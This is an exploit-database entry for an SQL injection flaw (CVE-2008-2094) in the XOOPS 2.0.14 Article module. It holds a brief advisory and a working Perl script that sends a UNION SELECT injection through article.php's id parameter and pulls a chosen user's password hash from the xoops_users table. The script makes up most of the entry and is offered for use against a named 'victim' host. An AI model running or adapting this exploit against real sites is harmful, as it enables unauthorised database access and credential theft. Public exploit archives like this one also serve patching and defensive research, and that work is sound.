XOOPS 2.0.14 Article Module - 'article.php' SQL Injection

Author: Cr@zy_King
type: webapps
platform: php
port: 
date_added: 2008-04-21  
date_updated: 2014-02-16  
verified: 1  
codes: CVE-2008-2094;OSVDB-44838  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comxoops-2.0.14.tar.gz  

raw file: 31681.py  
source: https://www.securityfocus.com/bid/28879/info


XOOPS Article module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

# Exploit :

#############################################

#Coded By Cr@zy_King http://coderx.org]#

#############################################

use IO::Socket;

if (@ARGV != 3)

{

print "\n-----------------------------------\n";

print "Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it\n";

print "-----------------------------------\n";

print "\n4ever Cra\n";

print "crazy_kinq[at]hotmail.co.uk\n";

print "http://coderx.org\n";

print "\n-----------------------------------\n";

print "\nKullanim: $0 <server> <path> <uid>\n";

print "Ornek: $0 www.victim.com /path 1\n";

print "\n-----------------------------------\n";

exit ();

}

$server = $ARGV[0];

$path = $ARGV[1];

$uid = $ARGV[2];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort =>

"80");

printf $socket ("GET

%s/modules/articles/article.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NUL
L,NULL,NULL,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL/**/FROM/**/xoops_users/**/WHERE/**/uid=$uid/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection:

close\n\n",

$path,$server,$uid);

while(<$socket>)

{

if (/\>(\w{32})\</) { print "\nID '$uid' User Password :\n\n$1\n"; }

}

# Cr@zy_King

# http://coderx.org

# crazy_kinq (at) hotmail.co (dot) uk [email concealed]